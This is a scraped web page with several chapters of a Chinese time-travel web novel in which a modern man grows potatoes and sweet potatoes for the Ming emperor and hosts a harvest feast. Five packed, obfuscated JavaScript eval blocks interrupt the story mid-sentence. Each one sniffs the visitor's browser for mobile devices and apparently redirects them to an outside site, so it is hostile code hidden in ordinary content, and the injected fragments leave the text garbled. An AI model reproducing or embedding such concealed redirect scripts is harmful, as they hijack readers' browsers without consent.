一众人听完朱安宁的解释,那是面面相觑。 因为这根本算不上解释…… “说清楚些。”最终是朱元璋不耐烦地扣了扣桌面。 朱安宁对于这个帮自己白手起家的老伯,还是很尊重的。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378761|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格差了点,但是儿子靠谱,老婆贤惠……女儿……嗯……那伍怀静,还怪好看的咧。 歪了歪了,朱安宁连忙甩了甩脑袋,再次解释起来。 他看的人不是朱元璋,而是赵集。 “赵大人,应天府是否有军屯?” 这话又是让一众人皱起了眉头。 这事,虽然不是什么秘密。 但是总归是朝廷大事,怎么就这种场合问了出来…… 赵集一时也是有些犹豫。 最后还是朱元璋代替了他回答。 “有的。” 朱安宁也是愣了愣,不过随机想到,这老头之前应该就是府尹,知道也不是什么奇怪的事情。 便也是继续说了下去。 “我想让军屯种这些新粮!如果赵大人这边没办法,那伍哥,您这边是否能与太子说一声,这新粮,只能种在军屯!” “新粮并非是随便种植,就能有如此产量的,甚至随着时间的推移,产量下降是必然的!” “而维持一个相对高产量的唯一方式,就是用我永乐庄的肥料。” “大家也看到了,我们永乐庄的水稻,就是会长得比别人的家的好。” “这土豆和番薯也是一个道理,没有肥料,你种再好,也是白搭。” 他叨叨絮絮说了一堆。 还是朱标回了他的话。 “那这与军屯有何干系?” 这话,出口。 朱安宁也是嘿嘿一笑。 比了个现代人都懂的姿势。 两根手指比划着。 他说出了让朱元璋等人有些窒息的话语。 “这,民田地主不一定认我的肥料,但是太子,大家还是说得动的嘛,既然军屯是我大明的,那么掏点钱买我肥料,完了军屯亩产节节高,双赢啊双赢啊!我肥料量大管饱!欲购从速!!!当然了,还有一点就是,军屯都是军户,那听令行事本就是他们的天职,推广要容易许多嘛。” 朱安宁,咧嘴,笑了起来。 有点,图穷匕见的感觉,而且他的图,短得,多少有点离谱。 ps:我是广东人,今天搬家,搬隔壁小区……一天下了至少8场雨,都是暴雨,而且下完地板还是干的,不知道你们懂不懂,尼玛的,搬到现在才吃完饭……确实写不完了,可能外省人没有体验过下开水的感觉,这家搬得我蛋都要裂了…… 第一百五十八章 还有件事情 军屯制度是军户制度和屯田制度的合成,前者最早起于东晋、南北朝,后者发源于西汉。 而军户制就是将民众分为军户和民户,民户承担徭役和更多的税负,军户缴纳血税,就是当兵,但可以免除一人份的徭役。 民户可以分家,而军户禁止分家。兄终弟及,父死子替。 一个或几个家庭被指定一个军户的,其所有子孙后代都属于该军户,共同提供一个士兵。 提供的士兵作了逃兵或阵亡后,勾军官吏就会从该军户内强征另一个至军营。 屯田则是由朝廷或者府县开垦,土地属于朝廷或者府县,农具、耕牛也由朝廷或者府县提供,但屯田民禁止随便离开屯田,并且要缴纳更多的税负。 官6民4,甚至官8民2……比起普通民田,可是要高得多的。 至于老朱的军屯制! 就是两者结合,军户家出的那份血税为正军,军户家其他人则成为屯田民,为正军提供粮饷。 明初军屯军户,接近五分之一。 这也是老朱能夺取天下最大的依仗。 官兵在前线,他们的家人在后方作为军户,变相类似于人质。 那是比陈友谅的怪力乱神大军要士气高昂许多的,至少不容易士气溃散 而现在,朱安宁正是想把这土豆番薯和肥料先在军屯中推广。 第一,军屯朝廷控制力强,新鲜事物其实是很难马上推广的,田是农民的命根,不管是军田还是民田,种植水稻或小麦,是稳定的食物来源,这是很重要的。 就算是皇帝,空口说现在有新粮,牛逼。 民田真正去种的人想必也不多,至少是需要时间和过程的。 朱安宁不想耗这些时间,想着就烦。 所以军屯,就成了他最好的选择。 军户好控制,大不了强推嘛。 第二,明朝中后怎么GG的,历史上有众多说法,但是不管是哪种,都一定离不开崩坏的军屯制度,几百万卫所兵,真正有战斗力的怕不是十不足一。 这个制度太变态了。 世代为军,本来就是一件很痛苦的事情,加之后期的贪腐,冰期等问题,军户们普遍无法养活家人,纷纷逃亡,要知道,逃亡抓到是要处死的,但是还是止不住,这足以说明卫所军屯有多崩坏了,这些事情,是各个版本的史书上都详细记载的。 要不是戚继光另辟蹊径,弄出了募兵制,苟了一波大的。 明朝的结局,或许会更样衰些。 所以,朱安宁想在自己擅长的领域,先介入下军屯……发现问题解决问题嘛。 至于能改变多少,还是看天意咯。 他也就是个九品芝麻官,且虽然是现代人,但是又不是什么博士史学家政治高手之类的……他键政的时候键盘能舞到冒火星没错,但是很多事情在实施层面,他是爱莫能助的,关于这些情况,他很有自知之明。 而且他刚才也说了,他还有一个目的。 是推广肥料……顺便,赚点钱,赚钱嘛,不寒碜! 销金窟他早就想去了啊,心心念念的秦淮河,每次进城就能看到……但是就愣是一次都没去过,太可惜了。 他要赚钱!他要会所嫩模! 他要赚钱实施这个伟大计划!!!可恶!!!童真可以,童贞不行!!! 而方才他的话,明确地说,就是想禀告太子,所以看的自然是伍文。 “安宁小弟,这件事我可以答应你,太子爷一定会同意的,军屯的稻田也要收获了,总之你这新粮,越快越好。” 朱标根本不需要思考,他回得非常迅速。 其实换朱元璋来,他也100%点头。 天下都是他们家的,种哪块田不是种,而且就是像朱安宁说的那样,在军户那边种,还好控制。 而,出乎朱安宁意料的是。 朱标,说完话,突然咧嘴笑了起来,又继续说了下去。 “肥料……安宁小弟也切莫忘记,太子那边,也是算是占了一半的,毕竟那石膏矿,是太子那边出了力的啊。你未来肯定是要卖民田的嘛,到时的钱银……” “太子那份,我必不可能忘记,伍哥你放心。” 朱安宁也是脸色一敛,对着皇宫的方向拱了拱手。 倒也是把在场的人弄得有点尴尬。 正主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378762|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这,你拜那边干嘛…… 朱安宁的话是诚心诚意的,这肥料生意,未来肯定会有人眼红的,自己攀上了太子的关系,那可是绝佳的助力,自己怎么可能忘记。 朱元璋看着自己儿子和朱安宁两人像是街市买卖般在这谈着话,也是翻了个白眼。 但是这事对他而言,无所谓。 新粮和肥料的作用,他是看在眼里的。 只要能推广,一切好说。 而且能把肥料赚的钱银,返些给东宫,那更是好上加好! 一众人等,眼前的番薯和土豆,都是咧嘴笑了起来。 “行了行了,你们安排,咱就先回城里了,我们家还有老季他们的,晚些你让戚祥找人运就行,他知道往哪里运。” 朱元璋摆了摆手。 他知道,朱安宁的粮票制度,年底,应该就可以开始在应天府这边开始试行了! 朱元璋和朱标对视了一眼,然后同时起身。 但是却又突然把目光转向了赵集。 “对了,赵大人,这火绳枪的事情,如何了?” “……”听见朱元璋问话的赵集,心头一凛,差点就行了礼,强行克制住这欲望的他,看了眼朱安宁,才回话:“一切顺遂,过些时日就可以试枪了。” 他回得简短,不想说更多的细节。 这事,朱安宁是和他说过的,赵集早已有了决定。 “好,那就好。” 朱元璋哈哈大笑起来,然后迈着步子就往门外走去。 “安宁小弟,我们还有其他事,就先走了。” “嗯,安宁小弟,肥料的具体价目,你到时可以直接和戚叔说,他有空了传话给我,我好和太子商量。”朱标也笑着起身,对朱安宁说了句。 “好好,没问题。”朱安宁比了个ok的手势,却也是突然想起……这里的人应该都看不懂…… 不过在朱元璋朱标快要走到院门的时候。 朱安宁突然想起了什么似的。 突然开口叫住了两人。 “对了伍爷,伍哥,还有件事情。” PS:先更2000,晚些还有一章 第一百五十九章 别管你爹,和洪武爷说就行 被朱安宁叫住的两人,都是马上转过了身。 “安宁小弟,还有何事?” 是朱元璋在发问。 只见朱安宁微微一笑。 突然问出了一个非常关键的问题。 “军屯虽然容易推广?但是新粮,军屯的人,会种?新肥料,军屯的人,会用?” 这个问题,在小院中回荡。 直接是把朱元璋和朱标,甚至是赵集都问沉默了。 今天的亩收实在是太过震撼。 他们一直沉浸在那种无法自拔的巨大喜悦之中。 满脑子都是以后人人能吃饱,人人都不挨饿。 本是应该注意到这点的他们,竟然愣是没有一人提出。 最后反而还要朱安宁来说。 而三人中,最先反应过来的是朱标,他看了眼笑得暧昧的朱安宁,马上就知晓了。 这小子一定又是有什么计划了。 “安宁小弟,你这边是有想法?” 此时,朱元璋也是注意到了朱安宁的表情。 一众人都看向了朱安宁,包括站在他身后的朱棣朱橚等人。 “想法是有点,但是可能还是需要伍哥还有赵大人在太子面前帮忙说几句……说不得,还要跟咱们的洪武帝说下。” 朱安宁摸了摸自己的下巴,一直在看对面的反应。 听着朱安宁的话语,赵集自然是不敢回话的。他什么身份……什么地位…… 太子和洪武帝,都在这里,他一个三品官,闭嘴就对了…… “安宁小弟,但说无妨。”朱标看了眼自己的老爹,笑着回了朱安宁。 就冲朱安宁这院子里的番薯和土豆。 他想要什么赏赐都不过分! 难道他真的想讨要官位了? 这感情好啊。 朱元璋和朱标都是一个想法。 两父子居然就这样激动了起来。 双双开始了头脑风暴,开始想什么官职合适他。 六部现在都有人任职,不好动…… 学士什么之类的,安宁小弟看着也不像是文绉绉的人…… 诶,鸿胪寺好像还挺合适,前段时间刚把那边的鸿胪寺卿给撤了,现在还空在那里呢…… 老朱马上就有了决断。 朱标却是想到了詹士府詹士一职,这职位四品,工作内容就是辅佐太子,这个很适合,非常适合。 朱标暗自点头,觉得自己想得非常好! 两父子,都有点想抢人的那点意思。 虽然这些职位都和军屯种地毫无关系,但是只要朱安宁愿意答应,那怎么说还不是他们两父子说了算。 于是,两人都笑意盈盈地等着朱安宁说下去。 而朱安宁,却是没有马上说话。 回身,他走到朱棣朱橚等人身后,一把把他们推到了朱元璋和朱标的面前。 这个动作,真就是出乎了所有人的意料。 包括朱棣等人。 李景隆刘廌和刘畾,甚至还有点惊慌。 这什么意思? “朱哥……” “先生?” 几人那是连忙开口。 一时间,小院子闹哄哄了起来。 朱安宁连忙按了按这几个躁动的年轻人。 “安静安静,听我说嘛。” 他笑嘻嘻地看向了朱标。 “伍哥,和太子爷说下呗,你两个弟弟,还有三江,季畾季廌,现在可都是耕田好手,肥料用法用量,也都是学过的,番薯土豆玉米,他们都照看过,懂得很。” 这语言多少还是有点艺术的。 点到为止。 再说下去,就过于露骨了。 朱标和朱元璋,方才的狂热劲,立马就消了下去。 这朱安宁的话是什么意思,对他们这种天天和文官打交道的人来,可太好懂了。 他是在给朱棣李景隆他们几个,谋官职…… 这是众人始料未及的。 两个皇子,一个公爵嫡长子,两个伯爷家的孙子……官位对他们来说,根本就不是难事啊…… 唾手可得,就看品级高低而已。 “咳咳……安宁小弟,你是知道我的……”朱元璋开了口。 关于朱安宁把他错认成伍洪的事情,朱元璋是知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378763|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道的了,也只能捏着鼻子认了。 只要能够正常相处,不算什么大事。 他开口继续说道:“我能力还是有点的,老四老五真想干点什么,我还是办得到的……” 朱元璋这话说出来,赵集那是一阵无语。 真有种冲动告诉朱安宁真相…… 但是令众人没想到的是,朱安宁听完朱元璋的话后,那是撇了撇嘴。 “伍爷,您的本事是您的本事,但是我是真心实意觉得他们几个行的。这两个多月,他们干得活可一点不少,你看,季廌季畾这两,都快黑成碳了,太子如果愿意用他们几个的话……不对,是太子只能用他们几个,不然根本无法推广新粮和肥料,总不能我去吧,我可是东宫赞读,老忙了,抽不开身。” 朱安宁拍了拍几人,跟卖驴子似的…… 特别是最后两句说完 ,连朱棣都忍不下去。 “朱哥……你……你这叫忙?” “忙啊!怎么不忙!哎小燕你别说话!”他扭头又看向朱标,继续说道:“种植新粮,这是功绩,他们应当受赏,这不是最初的打算么?” 终于,朱元璋是忍不下去了,他开口道。 “那你呢?” “我?太子赏我石膏矿,赏我肥料专卖,还不够?” “够?”朱元璋鼻子都快要气歪,只觉得自己在那想了老半天,结果却是这样,恼火得紧:“好,就不算这新粮一事,这铁冶我都帮你弄来永乐庄了,未来火器造好了,这功你还是不想要对吧,给谁,给赵大人?” 朱元璋指了指赵集。 赵集那是汗流浃背,第一次觉得领功是一件这么痛苦的事情…… “啊?这功劳难道不是赵大人的?炉子我也不会造,枪管我更是不会磨,几炉铁都是赵大人炼出来的啊!”朱安宁说得理所当然。 赵集夹在那里,回朱元璋,他无话可回,至于朱安宁的话语,更是让他无言以对…… 见朱元璋背手在那不说话,朱安宁那是径直就走到了朱标身前。 “伍哥,别管你爹,你回去就和太子爷……有机会的话最好和洪武爷说,洪武爷那是肯定知晓这事的利害的。” 第一百六十章 大家都有被安排的未来 朱元璋走了,这小老头走得既开心又郁闷。 朱标也差不多。 所以,院子就剩下朱棣等人,和朱安宁,面面相觑。 “哎呀,看来谋官职是要难一点哦,你们要当官的话,肯定不像我,九品芝麻官就满足了吧。” 朱安宁砸吧了下嘴巴,寻了个位置,坐了下来。 他叹了口气。 然后,并没有得到任何人的回答。 赵集不在院中。 成梁得到了朱安宁的授意,去倒腾石膏去了。 所以现在也真就是他们几个人而已。 几人就这么看着朱安宁坐下,久久没有言语。 最终还是朱棣先开的口。 “朱哥……其实你不必给我们谋官职……” 他这话,说得是有些自己都腻歪。 其他人也是附和着朱棣点了点头。 这多少是把朱安宁给整不会了,怎么,个个都和自己一样? 小爷我是怕那朱元璋,你们怕牛子啊…… “干嘛,你们也不想当官?” “这倒不是……”依旧是朱棣在回答。 其实,就藩,当官,就是他们的未来。 可以预见的未来…… 但是,几人都有一种不太想离开永乐庄的感觉,便有了今天这别扭的一幕。 “就是,有点突然……”朱橚,也突然开了口。 这话,也让众人附和不已。 “行行行,让你们当官,还扭扭捏捏的,那就先把院子里的这堆番薯和土豆放到阴凉地方吧!” 朱安宁没好气地回了句。 “好好,我们先干活。”几人也是连忙应承。 番薯和土豆的数量不少。 几人很快就忙活了起来。 而朱安宁,他则慵懒地瘫在了自己的躺椅上,开始冲茶。 挖了老半天番薯土豆,他也是累了。 他可不比这群年轻人,他毕竟是身子被掏空的现代人…… 想到刚才那伍文居然没有答应自己任何事情。 他便有点郁闷。 按理来说,这事不应该这么难啊。 这老伍不希望自己儿子做官,还是伍文不希望自己弟弟做官,怎么几个人都兴趣缺缺的样子…… 莫不是胡惟庸案,直接把他们给吓懵逼了? 这才哪到哪啊,后面还有好几案呢…… 思来想去,朱安宁还是没能想通。 但是,他必须得劝服其中最关键的那个人,这屯田所,他还就非去不可了…… 朱安宁,把目光,锁定到了朱橚的身上。 —————— 回应天府的小路上了。 朱元璋走得很快。 朱标也只能无奈地加快了脚步。 “标儿,你说那朱安宁什么意思?是不是看不起我洪武?一说起咱,好就惹到他似的……” 朱元璋其实今天还是很高兴的,土豆,番薯,这被他心心念念了许久的新粮。 今儿终于是种出第一茬来了。 最后核算出来的亩产,已经是不吓人了,那是惊人了! 其实洪武初年,老朱作为一个碗到天下共主,那肯定是有点东西的,他有很多想实施的计划,但是受限于生产力,都是不得已作罢。 而现在有了这两新粮,他那是一点都不慌了。 只是,郁闷他也是真郁闷,关键就是朱安宁对他,也就是洪武的态度,永远是敬而远之。 这让老朱不断在想,自己是不是什么时候惹了这小伙子…… 他是绝对想不到,朱安宁只是怕死而已…… 朱标看见自己老爹这般样子,也是哭笑不得。 他只能上去宽慰两句。 说道:“父皇,大概,安宁小弟是摄于君威,不太想在殿前做事吧……” “摄于君威?!!啊,你看他像怕咱的样子?一口一个老伍头,说到洪武爷这三个字的时候,也是一副不好的作态。” 朱元璋哼了两声。 但是很快他的脸色又自己缓和了下来。 这样的朱安宁,会让人不喜。 但是,也能让人喜。 不喜自然是态度不好,而喜,正也是他态度不好。 “这人,咱是用不了的了,标儿,刚才看你也是有想法,你觉得什么官职合适他?” 朱元璋那是直接了当,毕竟面对的是自己的好大儿,朱元璋也不想拐弯抹角。 朱标听见朱元璋的问话。 眼睛也是立马亮了起来。 他刚才还在不断想该怎么劝慰自己老爹。 没想到这一会,朱元璋就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378764|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己想通了,那是再好不过了。 “詹士府。” 他的回应十分简短。 朱元璋听完后,饶有兴致地看了朱标一眼。 然后才缓缓开口道。 “我还以为是三孤之类的呢。” “父皇……这等职位,太过夸张了吧……他这种毫无根基的人,詹士府,算是顶了天了,而且詹士府是有实际权力的,我需要他去帮我做……很多很多的事。” “哦?看来你想的是詹士府詹士?” “最开始是这般打算的,但是,儿臣觉得有点过了……” 朱标也是说得不急不缓。 朱元璋此时的目光也是一下就亮了起来了。 “为什么,标儿,好好说。” “詹士府,目前的各个职位,都是由勋贵或者勋贵子弟出任的,这是父皇必须要给的恩惠。”朱标直接点出了问题的中心。 这也正是朱元璋想要听的东西。 没错,詹士府说是东宫的班底之一。 但是本质上,也是安放勋贵们的地方。 没有勋贵以外的文臣,一个都没有。 这本应是一个相当大的问题。 但是朱元璋和朱标的威势之下,这群詹士府的人,倒也是不敢做些什么为非作歹的事情。 那新的问题又来了…… 勋贵、勋贵二代,并不是每个人都有能力的。 好些个,就是个闲职,被封赏挂进来领俸禄的而已。 这让朱标是很无可奈何。 而今天,他看到了解决这个问题的曙光。 如果,一个人,他立了天大的功绩,那么,即便他不是勋贵,进詹士府,应该也不会有人敢有怨言才对! 至于为什么非朱安宁不可? 因为他孑身一人。 这是最重要的。 孑身一人。 没有派系。 没有关系。 一干二净。 清清白白。 这,谁不喜欢嘛? “所以詹士府詹士不行?”朱元璋,开口,问道。 “詹士,虽是我愿,朱安宁也绝对承得起这位置,但是还是过高了,应天府,盘根错节,他,也许从更低的位置开始,比较好。” 朱标,微笑着,回应了自己的父亲。 第一百六十一章 垄断的意义 车厢里宝贵的啤酒,朱安宁早就冻好,就是为了丰收的这一刻。 至于辣椒和科技调味料,更是不要钱似地准备了一堆。 在场的不止是朱棣等住在院子里的人,连成梁和戚祥,朱安宁都叫了过来,赵集也是在场。 本来赵集是准备回城里的了,结果刚想走就被朱安宁截了下来。 “吃个晚宴。” 朱安宁说得很是直白。 “我做的,庆祝下今天丰收。” 这理由充裕得过分。 整个小半天都在想着番薯和土豆真特么牛逼的赵集,自然是没有拒绝的理由。 于是,赵集也出现在了院子里。 这种家宴会性质的饭局,赵集本来是有点忐忑的。 结果……在院子里,他看到了朱橚在看火。 朱棣在切菜。 刘廌刘畾在那屁颠屁颠地摘菜洗菜。 李景隆也免不了跑来跑去打下手。 全场闲着的,居然只有戚祥和他…… 这,叫他赵大人如何是好嘛…… 结果偏偏这戚祥还在那里淡然地喝着茶…… “赵大人,赵大人,不必如此拘谨……习惯就好……” 戚祥已经是一副波澜不惊的样子…… 赵集这些天,看着朱安宁和朱棣等人相处,多少也是有点脱敏了,听戚祥这么一说,也就半推半就着坐了下来。 “戚金吾……” “诶,赵大人……在这里不要叫职务……” “您年长些,我唤戚哥吧……” “诶,这又有点客气了……”戚祥虽然说的是客气,但是零嘴还是丢到了嘴巴里。 对着朱棣朱橚甚至朱安宁,他看起来每天都活得汗流浃背。 事实上,他可不是什么臭鱼烂虾…… 朱元璋的贴身亲卫,哪能是臭鱼烂虾。 所以赵集,姿态放得很低。 戚祥,也表现得很理所当然。 而最终,破坏这官僚氛围的是朱安宁的一声嚎。 “戚叔!戚叔!别吃了!” 这一声叫喊,让戚祥从淡定的氛围中脱离了出来。 只见他笑呵呵地回了句。 “朱爷,怎么了?” 这番姿态变幻,让赵集那是一阵无语…… 怎么,这朱安宁真就是陛下的私生子?…… 赵集看着戚祥一路小跑到了朱安宁身边。 “戚叔,帮忙整点葱来,对了,还有紫苏!” 灶台前的朱安宁,被砧板上的辣椒,呛得咳了几声,才交代完事项。 没等赵集反应过来。 戚祥已经跑到了院子门口。 只留下他一人呆在那里,如坐针毡。 幸好,不多时,戚祥又跑了回来。 他还未开口。 朱安宁却先说了话。 “戚叔,给三江洗吧,咳咳……我靠这什么辣椒,这么猛。” 他又交代了一句。 戚祥则是乐呵呵地把葱和紫苏,丢到了李景隆那里。 然后才回到了赵集面前。 这前后反差,让赵集是一阵愕然。 他呆呆的,终还是没有说话。 戚祥都习惯了。 接下来他说不得还是要在这里继续工作下去的。 早点习惯比较好…… 本来这晚饭,朱安宁是想把伍爷和伍文也留下的。 但是看他们走得急。 也就想下次再说吧。 他点着了柴火炉,火焰跳跃。 一旁的备料,以及七七八八,早就浆好的牛肉,在碟中,等着下锅。 朱安宁厨艺确实可以。 但是他此时选择的是现代科技。 水煮牛肉,调味包!!! 就一个字,快! 趁着大伙没注意。 他撕开包装就倒了进去。 然后是麻利地塞到了垃圾桶里。 柴火很大,一下酱包就被烧开,随着水的冲入,那锅中已然是一片鲜红。 朱棣在旁边,瞄了一眼,那是瞠目结舌。 明明方才他看一眼,还是口空锅啊。 怎么突然之间就多了一锅香味扑鼻的红汤。 朱哥不愧是朱哥。 干什么都牛逼。 这做饭也不在话下。 对比一下,宫里那些厨子,真就是废物啊…… “朱哥,这锅,有点辣啊……看着。” 朱棣凑过去,嗅了嗅,那是眼睛瞬间就亮了起来,然后最终还是忍不住,咳了两声。 “看着辣。” “吃着不辣?” “吃着更辣!” “呃……” 赵集是第一次在院中吃饭,他远远听着两人的对话,终于是忍不住,站了起来。 他走到了灶台前,想看看这异香扑鼻,闻着却又很是辛辣的东西,究竟是何物。 “辣椒,这是辣椒,田那边就有。”结果他还没开口,朱棣就已经率先解释了。 这让赵集是啧啧称奇。 毕竟看过,没吃过,今儿这闻起来,是真有意思啊。 在两人的注视下。 朱安宁将牛肉片投入沸腾的锅中,科技调味料很快就进一步迸发出更剧烈的香气。 他轻轻搅拌着锅中的牛肉,很快滑散。 科技果然就是生产力,朱安宁感叹了一句。 他将一锅牛肉带汤,倒到了早就抄好的蔬菜盆里,然后烧开一锅油,带蒜碎和青花椒,成功激发出了水煮牛肉该有的味道。 酸菜牛肉和粉蒸肉也紧随其后。 都是科技。 全是科技…… 人多,朱安宁菜量也大。 连朱橚都感叹了一句。 “要是天天都能丰收就好了。” 这话,多少有点双关。 让一众人都笑了起来。 朱安宁却也猛地一拍脑袋。 “酒!” 只见他一起身就冲回了房车里。 然后扛着一啤酒,下了车。 朱棣他们几人还算喝过点。 戚祥和赵集却是一脸懵逼。 李景隆,看着眼前这一堆啤酒,最后是没能忍住,问了句:“先生,这酒应该很金贵吧,拿那么多出来……” “啊?贵?嗯,也是,挺金贵的,喝完酒没了,但是这酒不就是为了庆祝今天,专门留的么,今天不喝,留来过年?” 朱安宁拍了拍那半箱啤酒,那是直接就咧嘴大笑了起来。 他现在是真高兴。 之前刚收获的时候,他的喜悦仅仅是老子回来明朝了,总算干成一件大事了。 但是转念一想,总有一种,怎么好像每个穿越者回来都干过这事的不爽感觉。 这种不爽感随着提出给朱橚等人官职,被搁置后,变得愈发明显。 最后,是走到院外那一刻。 他释然了。 他看见了延绵不绝的水稻,在风中轻轻弯着腰,稻穗挂在那里,即便隔着很远,他都知道一定是饱满的。 总觉得要做些什么事情。 总觉得要成就什么伟业。 真是太傻比了。 现在难得做成了自己还算擅长的事情。 凭什么还在这里患得患失呢? 去踏马的。 纠结和释然,就在这么一瞬间。 所以,现在的朱安宁是开心的。 他拉开了啤酒的拉环,逐瓶逐瓶递给了众人。 “冰的?” “嗯?确实是!” 除了戚祥和赵集有点意外。 其他人竟是没有什么感觉。 只见朱安宁站了起来,大喊了一声。 “干杯!” 这过于直接。 李景隆免不得提醒了一句。 “祝酒词?” 朱安宁听见李景隆的话语也没有恼。 他哈哈大笑了起来。 然后目光移向了库房那边的位置……其实不止是库房,他房子的厅堂空余的房间,都堆满了番薯和土豆。 他看了看那几个地方。 开了口。 “让天下人都吃饱饭。” 这句话,很简单。 甚至很糙。 却又是如此的实在。 众人面前有香气扑鼻的饭菜。 有盛得满满的白米饭。 但是其他地方又是如何呢。 赵集的脸,一下就黯了下去。 朱橚也是如此。 不过很快两人的情绪又高昂了起来。 无他。 他们顺着朱安宁的目光,也是看向了库房。 这,好像也并非不无可能啊。 抛却情绪,几人也是笑着举起了啤酒。 猛喝了一大口。 “啊!” 感叹声此起彼伏。 却也夹杂着两个不太和谐的声音。 “嗯?冰冰的还算可以,但是……好像有点淡啊……“是赵集,他向来口快,一下就把心里的想法说了出来。 朱安宁回头一看,戚祥好像也是这副模样。 便也没有多说什么,回手就掏了瓶五粮液,加两个杯子递了过去。 朱棣一看,那也是乐呵呵地给戚祥他们打开,倒了两杯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378765|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实瓶子刚开,两人就闻到了酒香。 那结果酒杯就更是迫不及待,小嘬了一口。 一下就被辣得直冲天灵盖。 “哈哈哈,戚叔,赵大人,别急啊,这酒可烈了,吃菜吧!” 朱安宁指了指桌面的菜。 这吃席先喝一杯是规矩,接下来吃菜就不必多说。 包括朱安宁在内的众人,都是许久没有吃过这等科技美味了。 白米饭是哐哐旋。 因为辣度颇高。 连喝酒都快了不少。 要说这饭局看下来,还是李景隆和朱棣放得开,也多亏这两人一人拿啤酒到处敬,一人接过了五粮液,去陪戚祥和赵集。 这酒席竟是很快就喝得热烈了起来。 酒精作用下,说话是放得又开了些。 只见一直被李景隆灌啤酒的朱橚,打了几个饱嗝,笑嘻嘻地在那说着话,也不知道是对谁说的。 “这土豆,番薯,太厉害了,按……按先生的说法就是牛逼哇!居然真……真的 能产那么多,不挖出来我都不敢信!” 他大着舌头,总算是把话完整地说完。 一旁的刘廌刘畾也是点了点头。 但是最终回话的还是还算清醒的李景隆。 “可不是嘛,但是种出来了我好开心啊,呜呜呜呜,这些番薯土豆,都是我一把屎一把尿浇大的啊!”李景隆一边说,一边抹了抹眼泪。 却也是立马就被一边和戚祥赵集喝白酒喝到上头的朱棣猛踹了一脚。 “要……要死哦三江,吃饭喝……喝酒你就屎尿屁是吧,你……你爹这么教你的?” “诶!你……你……你踹我干嘛,我……我又没说错!” “不……不服?不服来喝这个,这个猛!” “喝就喝……那个小廌,小畾,咱们三对他们三!!!” 李景隆一把拉过了刘廌和刘畾。 要说的话,其实刘家两兄弟喝得并不多,结果现在被李景隆拉上了贼船,那是一阵无语。 却也不好说不是。 因为朱棣已经大喊了一声:“好!喝!” 场面瞬间又热闹了起来。 不过一下就只剩下了朱安宁和朱橚在那喝啤酒。 这让两人是哭笑不得。 他好心搬了半箱出来。 结果没喝多少,这群人都跑去和五粮液了! 真是不懂欣赏。 朱安宁摇了摇头,又夹了块粉蒸排骨,吃了起来。 朱橚也是笑了笑,又喝了口酒。 趁着那边热闹的功夫,朱橚突然开了口。 “先生……你是真想我们去做官么。” 这个问题。 是几个年轻人都想问的。 朱安宁听着这个问题,是愣了愣,本来他是想找个合适点的时候和朱橚好好聊这事的。 结果这伍周却自己先提了出来。 “得去,特别是你,你得去。” 朱安宁也没有再拐弯抹角。 他说得斩钉截铁。 也是让朱橚很是不解。 “你是想让我们去教授如何种植番薯和土豆吧,我虽然可以,但是三江他不是更熟练么?” “三江可以,他可以作为一个很好的老师,却教农民们如何耕种,这件事情你们已经做了两月有余了不是么?不仅是三江,你哥,小廌,小畾,都做得到,但是有些事情,非你莫属。” “非我莫属?”朱橚愣了愣,他没想到,居然突然收获了一个如此高的评价。 “敢问,先生,究竟何事?” “去教那些,军屯里的小官吏,如何种植番薯,如何种植土豆,如何施肥,甚至是我们对水稻种植的一些新方式……” 